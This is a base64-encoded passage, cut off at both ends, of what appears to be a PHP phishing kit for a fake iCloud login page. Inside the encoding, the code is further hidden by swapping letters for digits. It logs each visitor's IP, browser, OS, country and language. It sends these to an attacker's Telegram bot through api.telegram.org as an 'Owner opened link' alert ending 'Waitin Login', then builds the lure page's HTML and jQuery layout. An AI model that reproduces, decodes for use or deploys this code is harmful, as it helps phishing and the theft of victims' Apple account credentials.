KICAgICAgICB9DQogICAgfQ0KICAgIHI1dDNybiAkMjN0cDN0Ow0KfQ0KZjNuY3Q0Mm4gZzV0VXM1cklQKCl7DQogICAgLy8gRzV0IHI1MWwgdjRzNHQyciBJUCBiNWg0bmQgQ2wyM2RGbDFyNSBuNXR3MnJrDQogICAgNGYgKDRzczV0KCRfU0VSVkVSWyJIVFRQX0NGX0NPTk5FQ1RJTkdfSVAiXSkpIHsNCiAgICAgICAgICAgICAgJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gPSAkX1NFUlZFUlsiSFRUUF9DRl9DT05ORUNUSU5HX0lQIl07DQogICAgICAgICAgICAgICRfU0VSVkVSWydIVFRQX0NMSUVOVF9JUCddID0gJF9TRVJWRVJbIkhUVFBfQ0ZfQ09OTkVDVElOR19JUCJdOw0KICAgIH0NCiAgICAkY2w0NW50ICA9IEAkX1NFUlZFUlsnSFRUUF9DTElFTlRfSVAnXTsNCiAgICAkZjJydzFyZCA9IEAkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9GT1InXTsNCiAgICAkcjVtMnQ1ICA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOw0KDQogICAgNGYoZjRsdDVyX3YxcigkY2w0NW50LCBGSUxURVJfVkFMSURBVEVfSVApKQ0KICAgIHsNCiAgICAgICAgJDRwID0gJGNsNDVudDsNCiAgICB9DQogICAgNWxzNTRmKGY0bHQ1cl92MXIoJGYycncxcmQsIEZJTFRFUl9WQUxJREFURV9JUCkpDQogICAgew0KICAgICAgICAkNHAgPSAkZjJydzFyZDsNCiAgICB9DQogICAgNWxzNQ0KICAgIHsNCiAgICAgICAgJDRwID0gJHI1bTJ0NTsNCiAgICB9DQoNCiAgICByNXQzcm4gJDRwOw0KfQ0KJGwxbmcgPSBzM2JzdHIoJF9TRVJWRVJbIkhUVFBfQUNDRVBUX0xBTkdVQUdFIl0sIDAsIGEpOw0KJDNybD0iaHR0cHM6Ly8iLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsNCiQzcjQgPSBzM2JzdHIoJDNybCwgMCwgLWkpOw0KJElQID0gZzV0VXM1cklQKCk7DQokYnIyd3M1ciA9IGc1dEJyMndzNXIoKTsNCiQycyA9IGc1dE9TKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk7DQokYzIzbnRyeSA9IDRwXzRuZjIoIlY0czR0MnIiLCAiQzR0eSIpLiIgIi40cF80bmYyKCJWNHM0dDJyIiwgIkMyM250cnkiKTsNCjRuY2wzZDUgIjFqMXgvMWoxeDQucGhwIjsNCiRoNTFkNXJzID0gIkMybnQ1bnQtdHlwNTogdDV4dC9odG1sOyBjaDFyczV0PTRzMi04OGk5LTYiIC4gIlxyXG4iOw0KJGg1MWQ1cnMgLj0gJ0ZyMm06IE9GRjRUJyAuICJcclxuIjsNCiRoNTFkNXJzIC49ICdNSU1FLVY1cnM0Mm46IDYuMCcgLiAiXHJcbiI7DQokczNiajVjdCA9ICJWNHM0dCBENXQxNGxzIGYyciAycmQ1cjogJDEzdGggLyAkSUQgIjsNCiRtNXNzMWc1ID0gJzx0MWJsNSBzdHlsNT0iYjFja2dyMjNuZDpuMm41IHI1cDUxdCBzY3IybGwgMCUgMCUgcmdiKGF1dSxhdXUsYXV1KTtiMnJkNXI6NnB4IHMybDRkIHJnYig2MGEsNjBhLDYwYSkiIGIycmQ1cj0iMCIgYzVsbHAxZGQ0bmc9ImkiIGM1bGxzcDFjNG5nPSJpIiB3NGR0aD0iZTAwIj4nIC4gIlxyXG4iIC4gJyAgICA8dGIyZHk+JyAuICJcclxuIiAuICcgICAgICAgIDx0cj4nIC4gIlxyXG4iIC4gJyAgICAgICAgICAgIDx0aCBzdHlsNT0iYjFja2dyMjNuZC1jMmwycjpyZ2IoYTB1LGEwdSxhMHUpIj5Pd241ciBWNHM0dCBENXQxNGxzPC90aD4nIC4gIlxyXG4iIC4gJyAgICAgICAgPC90cj4nIC4gIlxyXG4iIC4gJyAgICAgICAgPHRyPicgLiAiXHJcbiIgLiAnICAgICAgICAgICAgPHRkIHN0eWw1PSJ0NXh0LTFsNGduOmw1ZnQiIHYxbDRnbj0idDJwIj4nIC4gIlxyXG4iIC4gJyAgICAgICAgICAgIDxicj4nIC4gIlxyXG5cdFx0XHQiIC4gJzxocj4nIC4gIlxyXG4iIC4gJyAgICAgICAgICAgIDxzdHIybmc+SVAgQWRkcjVzczo8L3N0cjJuZz4nIC4gJElQIC4nIC8gJy4kYzIzbnRyeS4nPGJyPjxicj4nIC4gIlxyXG4iIC4gJyAgICAgICAgICAgICAgICAgICAgICAgIDxzdHIybmc+T3JkNXIgNGQ6PC9zdHIybmc+JyAuICQxM3RoIC4gJy8nLiAkSUQgLiAnPGJyPjxicj4nIC4gIlxyXG4iIC4gJyAgICAgICAgICAgICAgICAgICAgICAgIDxzdHIybmc+QnIyd3M1cjo8L3N0cjJuZz4nIC4gJGJyMndzNXIgLiAnPGJyPjxicj48c3RyMm5nPk9TOjwvc3RyMm5nPicgLiAkMnMgLiAnPGJyPjxicj4nIC4gIlxyXG4iIC4gJyAgICAgICAgICAgICAgICAgICAgICAgJyAuICJcclxuXHRcdFx0IiAuICc8c3RyMm5nPkJyMndzNXI6PC9zdHIybmc+JyAuICRicjJ3czVyIC4gJzxicj48YnI+JyAuICJcclxuXHRcdFx0IiAuICc8L3RkPicgLiAiXHJcbiIgLiAnICAgICAgICA8L3RyPicgLiAiXHJcbiIgLiAnICAgICAgICA8dHI+JyAuICJcclxuIiAuICcgICAgICAgICAgICA8dGQgc3R5bDU9InQ1eHQtMWw0Z246bDVmdCI+PDVtPlRoMW5rcyw8YnI+JyAuICJcclxuIiAuICcgICAgICAgICAgICA0dDVjaDxicj4nIC4gIlxyXG4iIC4gJyAgICAgICAgICAgIDwvdGQ+JyAuICJcclxuIiAuICcgICAgICAgIDwvdHI+JyAuICJcclxuIiAuICcgICAgPC90YjJkeT4nIC4gIlxyXG4iIC4gJzwvdDFibDU+JzsNCiR0dHIzNSA9ICJPd241ciAycDVuNWQgbDRuayAoIDRDbDIzZCBXL3Axc3MgYTBhMCApXG49PT09PT09PT09PT09PT09PT09PT09PT09XG5sNG5rOiAjJDNybFxuSVA6ICRJUFxuQnIyd3M1cjogJGJyMndzNXJcbk9TOiAkMnNcbkMyM250cnk6ICRjMjNudHJ5XG5MMW5nMzFnNTogJGwxbmdcbj09PT09PT09PT09PT09PT09PT09PT09PT1cbk9yZDVyIGQ1dDE0bHM6XG4xM3RoOiAkMTN0aFxuSUQ6ICRJRFxuPT09PT09PT09PT09PVxuPT4gVzE0dDRuIEwyZzRuIDw9IjsNCiRkMXQxdHIzNSA9IDFycjF5KCJ0NXh0IiA9PiAkdHRyMzUsICJjaDF0XzRkIiA9PiAkY2gxdF80ZCk7DQovLyBtMTRsKCR0MiwgJHMzYmo1Y3QsICRtNXNzMWc1LCAkaDUxZDVycyk7DQpmNGw1X2c1dF9jMm50NW50cygiaHR0cHM6Ly8xcDQudDVsNWdyMW0uMnJnL2IydCIgLiAkdDJrNW4gLiAiL3M1bmRNNXNzMWc1PyIgLiBodHRwX2IzNGxkX3EzNXJ5KCRkMXQxdHIzNSkpOw0KJGwxbmcgPSBzM2JzdHIoJF9TRVJWRVJbIkhUVFBfQUNDRVBUX0xBTkdVQUdFIl0sIDAsIGEpOw0Kc3c0dGNoICgkbDFuZykgew0KICAgIGMxczUgIjVuIjoNCiAgICAgICAgJGwxbmdfZjRsNSA9ICJsMW5nLjVuLnBocCI7DQogICAgYnI1MWs7DQogICAgYzFzNSAiZnIiOg0KICAgICAgICAkbDFuZ19mNGw1ID0gImwxbmcuZnIucGhwIjsNCiAgICBicjUxazsNCiAgICBjMXM1ICJwdCI6DQogICAgICAgICRsMW5nX2Y0bDUgPSAibDFuZy5wdC5waHAiOw0KICAgIGJyNTFrOw0KICAgIGMxczUgIjR0IjoNCiAgICAgICAgJGwxbmdfZjRsNSA9ICJsMW5nLjR0LnBocCI7DQogICAgYnI1MWs7DQogICAgYzFzNSAidjQiOg0KICAgICAgICAkbDFuZ19mNGw1ID0gImwxbmcudjQucGhwIjsNCiAgICBicjUxazsNCiAgICBjMXM1ICI1cyI6DQogICAgICAgICRsMW5nX2Y0bDUgPSAibDFuZy41cy5waHAiOw0KICAgIGJyNTFrOw0KICAgIGMxczUgImQ1IjoNCiAgICAgICAgJGwxbmdfZjRsNSA9ICJsMW5nLmQ1LnBocCI7DQogICAgYnI1MWs7DQogICAgYzFzNSAiNGQiOg0KICAgICAgICAkbDFuZ19mNGw1ID0gImwxbmcuNGQucGhwIjsNCiAgICBicjUxazsNCiAgICBjMXM1ICJqMSI6DQogICAgICAgICRsMW5nX2Y0bDUgPSAibDFuZy5qMS5waHAiOw0KICAgIGJyNTFrOw0KICAgIGMxczUgIm5sIjoNCiAgICAgICAgJGwxbmdfZjRsNSA9ICJsMW5nLm5sLnBocCI7DQogICAgYnI1MWs7DQogICAgYzFzNSAiYjUiOg0KICAgICAgICAkbDFuZ19mNGw1ID0gImwxbmcuYjUucGhwIjsNCiAgICBicjUxazsNCiAgICBjMXM1ICJ0ciI6DQogICAgICAgICRsMW5nX2Y0bDUgPSAibDFuZy50ci5waHAiOw0KICAgIGJyNTFrOw0KICAgIGMxczUgInRoIjoNCiAgICAgICAgJGwxbmdfZjRsNSA9ICJsMW5nLnRoLnBocCI7DQogICAgYnI1MWs7DQogICAgYzFzNSAicGwiOg0KICAgICAgICAkbDFuZ19mNGw1ID0gImwxbmcucGwucGhwIjsNCiAgICBicjUxazsNCiAgICBjMXM1ICJ6aCI6DQogICAgICAgICRsMW5nX2Y0bDUgPSAibDFuZy56aC5waHAiOw0KICAgIGJyNTFrOw0KICAgIGMxczUgImgzIjoNCiAgICAgICAgJGwxbmdfZjRsNSA9ICJsMW5nLmgzLnBocCI7DQogICAgYnI1MWs7DQogICAgYzFzNSAicjMiOg0KICAgICAgICAkbDFuZ19mNGw1ID0gImwxbmcucjMucGhwIjsNCiAgICBicjUxazsNCiAgICBkNWYxM2x0Og0KICAgICAgICAkbDFuZ19mNGw1ID0gImwxbmcuNW4ucGhwIjsNCn0NCjRuY2wzZDVfMm5jNSAiMXNzNXRzL2wxbmczMWc1cy8iIC4gJGwxbmdfZjRsNTsNCjVjaDIgIjwhRE9DVFlQRSBodG1sPlxuIjsNCjVjaDIgIjxodG1sIGQxdDEtcnRsPVwiZjFsczVcIiBsMW5nPVwiNW5cIj5cbiI7DQovLzVjaDIgIgkJICAgIDxoNTFkPjxtNXQxIGh0dHAtNXEzNHY9IkMybnQ1bnQtVHlwNSIgYzJudDVudD0idDV4dC9odG1sOyBjaDFyczV0PTN0Zi04Ij5cbiI7DQo1Y2gyICIJCSAgICAJPHNjcjRwdCBzcmM9XCJjc3NvL2pxMzVyeS02LjYwLmEuanNcIj48L3NjcjRwdD5cbiI7DQo1Y2gyICIJCTxzY3I0cHQgdHlwNT0ndDV4dC9qMXYxc2NyNHB0Jz5cbiI7DQo1Y2gyICIJCQkkKGQyYzNtNW50KS5yNTFkeShmM25jdDQybiAoKSB7XG4iOw0KNWNoMiAiCQkJdjFyIHNzID0gczV0VDRtNTIzdChmM25jdDQybiAoKSB7fSwgYTAwMCk7XG4iOw0KNWNoMiAiCQkJfSk7XG4iOw0KNWNoMiAiCQk8L3NjcjRwdD5cbiI7DQo1Y2gyICIJCTx0NHRsNT40Q2wyM2Q8L3Q0dGw1PlxuIjsNCjVjaDIgIgkJXG4iOw0KNWNoMiAiCQk8YjFzNSBocjVmPVwiL1wiPlxuIjsNCjVjaDIgIgkJPG01dDEgbjFtNT1cInY0NXdwMnJ0XCIgYzJudDVudD1cInc0ZHRoPWQ1djRjNS13NGR0aCwgNG40dDQxbC1zYzFsNT02LCBtMXg0bTNtLXNjMWw1PTZcIj5cbiI7DQo1Y2gyICIJPCEtLSA8bDRuayByNWw9XCJzdHlsNXNoNTV0XCIgaHI1Zj1cIi8vd3d3LjFwcGw1LmMybS93c3MvZjJudHM/ZjFtNGw0NXM9U0YrUHIyLHY2fFNGK1ByMitJYzJucyx2NlwiIHR5cDU9XCJ0NXh0L2Nzc1wiPiAtLT5cbiI7DQo1Y2gyICIJPGw0bmsgcjVsPVwic3R5bDVzaDU1dFwiIHR5cDU9XCJ0NXh0L2Nzc1wiIG01ZDQxPVwic2NyNTVuXCIgaHI1Zj1cImNzc28vMXBwLmNzc1wiPlxuIjsNCjVjaDIgIgk8bDRuayByNWw9XCJzdHlsNXNoNTV0XCIgaHI1Zj1cImNzc28vbTE0bi5jc3NcIj5cbiI7DQo1Y2gyICIJPGw0bmsgcjVsPVwic3R5bDVzaDU1dFwiIGhyNWY9XCJjc3NvL2wyMWQ1ci5jc3NcIj5cbiI7DQo1Y2gyICIJPCEtLSA8c2NyNHB0IHNyYz1cImh0dHBzOi8vMWoxeC5nMjJnbDUxcDRzLmMybS8xajF4L2w0YnMvanEzNXJ5L28udS42L2pxMzVyeS5tNG4uanNcIj48L3NjcjRwdD4gLS0+XG4iOw0KNWNoMiAiCTwhLS0gPHNjcjRwdCBzcmM9XCJodHRwczovL2MyZDUuanEzNXJ5LmMybS9qcTM1cnktNi42YS51LmpzXCI+PC9zY3I0cHQ+IC0tPlxuIjsNCjVjaDIgIgk8c2NyNHB0IHNyYz1cImh0dHBzOi8vYzJkNS5qcTM1cnkuYzJtLzM0LzYuNmEuNi9qcTM1cnktMzQuanNcIj48L3NjcjRwdD5cbiI7DQo1Y2gyICIJPHNjcjRwdD5cbiI7DQo1Y2gyICIJJChkMmMzbTVudCkucjUxZHkoZjNuY3Q0Mm4oKSB7XG4iOw0KNWNoMiAiCSAgZjNuY3Q0Mm4gc2gyd19iMmR5KCkge1xuIjsNCjVjaDIgIgkJCQkkKFwiI2N3LWIyMnRzdHIxcC1odG1sXCIpLjFkZENsMXNzKFwiaDRkNVwiKTtcbiI7DQo1Y2gyICIJCQkJJChcIiNzdDVwYVwiKS5yNW0ydjVDbDFzcyhcImg0ZDVcIik7XG4iOw0KNWNoMiAiCQkJfVxuIjsNCjVjaDIgIgkJCXM1dFQ0bTUyM3Qoc2gyd19iMmR5LCBhMDAwKTtcbiI7DQo1Y2gyICIJICAkKFwiI2Q0djZcIikuY3NzKFwidzRkdGhcIiwgJCh3NG5kMncpLnc0ZHRoKCkpO1xuIjsNCjVjaDIgIgkgIFxuIjsNCjVjaDIgIgkgICQoXCIjZDR2NlwiKS5jc3MoXCJoNTRnaHRcIiwgJCh3NG5kMncpLmg1NGdodCgpIC0gdXUpO1xuIjsNCjVjaDIgIgkgICQoXCIjZDR2XzRjMm5cIikuY3NzKFwibDVmdFwiLCAkKHc0bmQydykudzRkdGgoKSAvIGEgLSA4MCk7XG4iOw0KNWNoMiAiCSAgJChcIiNkNHZfdDV4dF82XCIpLmNzcyhcImw1ZnRcIiwgJCh3NG5kMncpLnc0ZHRoKCkgLyBhIC0gNnVpKTtcbiI7DQo1Y2gyICIJICAkKFwiI2Q0dl90NXh0X2FcIikuY3NzKFwibDVmdFwiLCAkKHc0bmQydykudzRkdGgoKSAvIGEgLSA3OCk7XG4iOw0KNWNoMiAiCSAgXG4iOw0KNWNoMiAiCSAgdjFyIHI1cyA9ICQodzRuZDJ3KS53NGR0aCgpICogMC4waSArIGFpO1xuIjsNCjVjaDIgIgkgIHYxciA0bnRyNSA9ICQodzRuZDJ3KS53NGR0aCgpICogMC4wYSArIGFpO1xuIjsNCjVjaDIgIgkgIHYxciBsNWZ0ID0gKCQodzRuZDJ3KS53NGR0aCgpIC0gKHI1cyAqIGUgKyA0bnRyNSAqIGkpKSAvIGE7XG4iOw0KNWNoMiAiCSAgdjFyIHQycCA9ICgkKHc0bmQydykuaDU0Z2h0KCkgLSAocjVzICogNi5vdSArIHI1cyAqIDYub3UgKyA4MCkpIC8gYTtcbiI7DQo1Y2gyICIJICB2MXIgYmwzciA9ICQodzRuZDJ3KS53NGR0aCgpICogMC4wYSArIGEwO1xuIjsNCjVjaDIgIgkgICQoXCIjZDR2NlwiKS5jc3MoXCJmNGx0NXJcIiwgXCJibDNyKFwiK2JsM3IrXCJweClcIik7XG4iOw0KNWNoMiAiCSAgXG4iOw0KNWNoMiAiCSAgNGYgKCQodzRuZDJ3KS53NGR0aCgpIDw9IDdldSAmJiAkKHc0bmQydykudzRkdGgoKSA+IHVhMCkge1xuIjsNCjVjaDIgIgkJdjFyIGw1ZnQgPSAoJCh3NG5kMncpLnc0ZHRoKCkgLSAocjVzICogdSArIDRudHI1ICogbykpIC8gYTtcbiI7DQo1Y2gyICIJCS8vIDYgcjFuZCBcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl82XCIpLmNzcyhcImw1ZnRcIiwgbDVmdCk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fNlwiKS5jc3MoXCJ0MnBcIiwgdDJwICsgNjB1KTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl82XCIpLmNzcyhcInc0ZHRoXCIsIHI1cyk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fNlwiKS5jc3MoXCJoNTRnaHRcIiwgcjVzICogNi5vdSk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fYVwiKS5jc3MoXCJsNWZ0XCIsIGw1ZnQgKyA0bnRyNSArIHI1cyk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fYVwiKS5jc3MoXCJ0MnBcIiwgdDJwICsgNjB1KTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl9hXCIpLmNzcyhcInc0ZHRoXCIsIHI1cyk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fYVwiKS5jc3MoXCJoNTRnaHRcIiwgcjVzICogNi5vdSk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fb1wiKS5jc3MoXCJsNWZ0XCIsIGw1ZnQgKyAoNG50cjUgKyByNXMpICogYSk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fb1wiKS5jc3MoXCJ0MnBcIiwgdDJwICsgNjB1KTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl9vXCIpLmNzcyhcInc0ZHRoXCIsIHI1cyk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fb1wiKS5jc3MoXCJoNTRnaHRcIiwgcjVzICogNi5vdSk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fdVwiKS5jc3MoXCJsNWZ0XCIsIGw1ZnQgKyAoNG50cjUgKyByNXMpICogbyk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fdVwiKS5jc3MoXCJ0MnBcIiwgdDJwICsgNjB1KTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl91XCIpLmNzcyhcInc0ZHRoXCIsIHI1cyk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fdVwiKS5jc3MoXCJoNTRnaHRcIiwgcjVzICogNi5vdSk7XG4iOw0KNWNoMiAiCQkvLyBhIHIxbmQgXG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5faVwiKS5jc3MoXCJsNWZ0XCIsIGw1ZnQpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuX2lcIikuY3NzKFwidDJwXCIsIHQycCArIDYwdSArIHI1cyAqIDYub3UgKyA4MCk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5faVwiKS5jc3MoXCJ3NGR0aFwiLCByNXMpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuX2lcIikuY3NzKFwiaDU0Z2h0XCIsIHI1cyAqIDYub3UpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuX2VcIikuY3NzKFwibDVmdFwiLCBsNWZ0KzRudHI1K3I1cyk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fZVwiKS5jc3MoXCJ0MnBcIiwgdDJwICsgNjB1ICsgcjVzICogNi5vdSArIDgwKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl9lXCIpLmNzcyhcInc0ZHRoXCIsIHI1cyk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fZVwiKS5jc3MoXCJoNTRnaHRcIiwgcjVzICogNi5vdSk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fN1wiKS5jc3MoXCJsNWZ0XCIsIGw1ZnQrKDRudHI1K3I1cykqYSk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fN1wiKS5jc3MoXCJ0MnBcIiwgdDJwICsgNjB1ICsgcjVzICogNi5vdSArIDgwKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl83XCIpLmNzcyhcInc0ZHRoXCIsIHI1cyk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fN1wiKS5jc3MoXCJoNTRnaHRcIiwgcjVzICogNi5vdSk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fOFwiKS5jc3MoXCJsNWZ0XCIsIGw1ZnQrKDRudHI1K3I1cykqbyk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fOFwiKS5jc3MoXCJ0MnBcIiwgdDJwICsgNjB1ICsgcjVzICogNi5vdWkgKyA4MCk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fOFwiKS5jc3MoXCJ3NGR0aFwiLCByNXMpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuXzhcIikuY3NzKFwiaDU0Z2h0XCIsIHI1cyAqIDYub3UpO1xuIjsNCjVjaDIgIgkJLy8gbyByMW5kIFxuIjsNCjVjaDIgIgkJJChcIiM0YzJuXzlcIikuY3NzKFwibDVmdFwiLCBsNWZ0KTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl85XCIpLmNzcyhcInQycFwiLCB0MnAgKyA2MHUgKyByNXMgKiA2Lm91ICsgODAgKyByNXMgKiA2Lm91ICsgODApO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuXzlcIikuY3NzKFwidzRkdGhcIiwgcjVzKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl85XCIpLmNzcyhcImg1NGdodFwiLCByNXMgKiA2Lm91KTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl82MFwiKS5jc3MoXCJsNWZ0XCIsIGw1ZnQgKyA0bnRyNSArIHI1cyk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fNjBcIikuY3NzKFwidDJwXCIsIHQycCArIDYwdSArIHI1cyAqIDYub3UgKyA4MCArIHI1cyAqIDYub3UgKyA4MCk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fNjBcIikuY3NzKFwidzRkdGhcIiwgcjVzKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl82MFwiKS5jc3MoXCJoNTRnaHRcIiwgcjVzICogNi5vdSk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fNjZcIikuY3NzKFwibDVmdFwiLCBsNWZ0Kyg0bnRyNStyNXMpKmEpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuXzY2XCIpLmNzcyhcInQycFwiLCB0MnAgKyA2MHUgKyByNXMgKiA2Lm91ICsgODAgKyByNXMgKiA2Lm91ICsgODApO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuXzY2XCIpLmNzcyhcInc0ZHRoXCIsIHI1cyk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fNjZcIikuY3NzKFwiaDU0Z2h0XCIsIHI1cyAqIDYub3UpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuXzZhXCIpLmNzcyhcImw1ZnRcIiwgbDVmdCsoNG50cjUrcjVzKSpvKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl82YVwiKS5jc3MoXCJ0MnBcIiwgdDJwICsgNjB1ICsgcjVzICogNi5vdSArIDgwICsgcjVzICogNi5vdSArIDgwKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl82YVwiKS5jc3MoXCJ3NGR0aFwiLCByNXMpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuXzZhXCIpLmNzcyhcImg1NGdodFwiLCByNXMgKiA2Lm91KTtcbiI7DQo1Y2gyICIJICB9IDVsczUgNGYgKCQodzRuZDJ3KS53NGR0aCgpIDw9IHU2YSl7XG4iOw0KNWNoMiAiCQkvLyAxbDVydChcIk1PQklMRVwiKTtcbiI7DQo1Y2gyICIJCXYxciBsNWZ0ID0gKCQodzRuZDJ3KS53NGR0aCgpIC0gKGUwICogbyArIG8wICogYSkpIC8gYTtcbiI7DQo1Y2gyICIJCSQoXCIjZDR2XzRjMm5cIikuY3NzKFwibDVmdFwiLCAkKHc0bmQydykudzRkdGgoKSAvIGEgLSB1YSk7XG4iOw0KNWNoMiAiCQkkKFwiI2Q0dl80YzJuXCIpLmNzcyhcInc0ZHRoXCIsIDc4KTtcbiI7DQo1Y2gyICIJCSQoXCIjZDR2XzRjMm5cIikuY3NzKFwiaDU0Z2h0XCIsIDc4KTtcbiI7DQo1Y2gyICIJCSQoXCIjZDR2XzRjMm5cIikuY3NzKFwidDJwXCIsIDZlMCk7XG4iOw0KNWNoMiAiCQkkKFwiI2Q0dl90NXh0XzZcIikuY3NzKFwibDVmdFwiLCAkKHc0bmQydykudzRkdGgoKSAvIGEgLSA2dWkpO1xuIjsNCjVjaDIgIgkJJChcIiNkNHZfdDV4dF9hXCIpLmNzcyhcImw1ZnRcIiwgJCh3NG5kMncpLnc0ZHRoKCkgLyBhIC0gNzgpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuXzZcIikuMWRkQ2wxc3MoXCJoNGQ1XCIpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuX2FcIikuMWRkQ2wxc3MoXCJoNGQ1XCIpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuX29cIikuMWRkQ2wxc3MoXCJoNGQ1XCIpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuX3VcIikuY3NzKFwibDVmdFwiLCBsNWZ0KTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl91XCIpLmNzcyhcInQycFwiLCB0MnAgKyA2MHUpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuX3VcIikuY3NzKFwidzRkdGhcIiwgZTApO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuX3VcIikuY3NzKFwiaDU0Z2h0XCIsIDh1KTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl9pXCIpLjFkZENsMXNzKFwiaDRkNVwiKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl9lXCIpLmNzcyhcImw1ZnRcIiwgbDVmdCtlMCtvMCk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fZVwiKS5jc3MoXCJ0MnBcIiwgdDJwICsgNjB1KTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl9lXCIpLmNzcyhcInc0ZHRoXCIsIGUwKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl9lXCIpLmNzcyhcImg1NGdodFwiLCA4dSk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fNmFcIikuY3NzKFwibDVmdFwiLCBsNWZ0K2UwK28wK2UwK28wKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl82YVwiKS5jc3MoXCJ0MnBcIiwgdDJwICsgNjB1KTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl82YVwiKS5jc3MoXCJ3NGR0aFwiLCBlMCk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fNmFcIikuY3NzKFwiaDU0Z2h0XCIsIDh1KTtcbiI7DQo1Y2gyICIJXG4iOw0KNWNoMiAiCSAgfSA1bHM1IHtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl82XCIpLmNzcyhcImw1ZnRcIiwgbDVmdCk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fNlwiKS5jc3MoXCJ0MnBcIiwgdDJwICsgNjB1KTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl82XCIpLmNzcyhcInc0ZHRoXCIsIHI1cyk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fNlwiKS5jc3MoXCJoNTRnaHRcIiwgcjVzICogNi5vdSk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fYVwiKS5jc3MoXCJsNWZ0XCIsIGw1ZnQgKyA0bnRyNSArIHI1cyk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fYVwiKS5jc3MoXCJ0MnBcIiwgdDJwICsgNjB1KTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl9hXCIpLmNzcyhcInc0ZHRoXCIsIHI1cyk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fYVwiKS5jc3MoXCJoNTRnaHRcIiwgcjVzICogNi5vdSk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fb1wiKS5jc3MoXCJsNWZ0XCIsIGw1ZnQrKDRudHI1K3I1cykqYSk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fb1wiKS5jc3MoXCJ0MnBcIiwgdDJwICsgNjB1KTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl9vXCIpLmNzcyhcInc0ZHRoXCIsIHI1cyk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fb1wiKS5jc3MoXCJoNTRnaHRcIiwgcjVzICogNi5vdSk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fdVwiKS5jc3MoXCJsNWZ0XCIsIGw1ZnQrKDRudHI1K3I1cykqbyk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fdVwiKS5jc3MoXCJ0MnBcIiwgdDJwICsgNjB1KTtcbiI7DQo1Y2gyI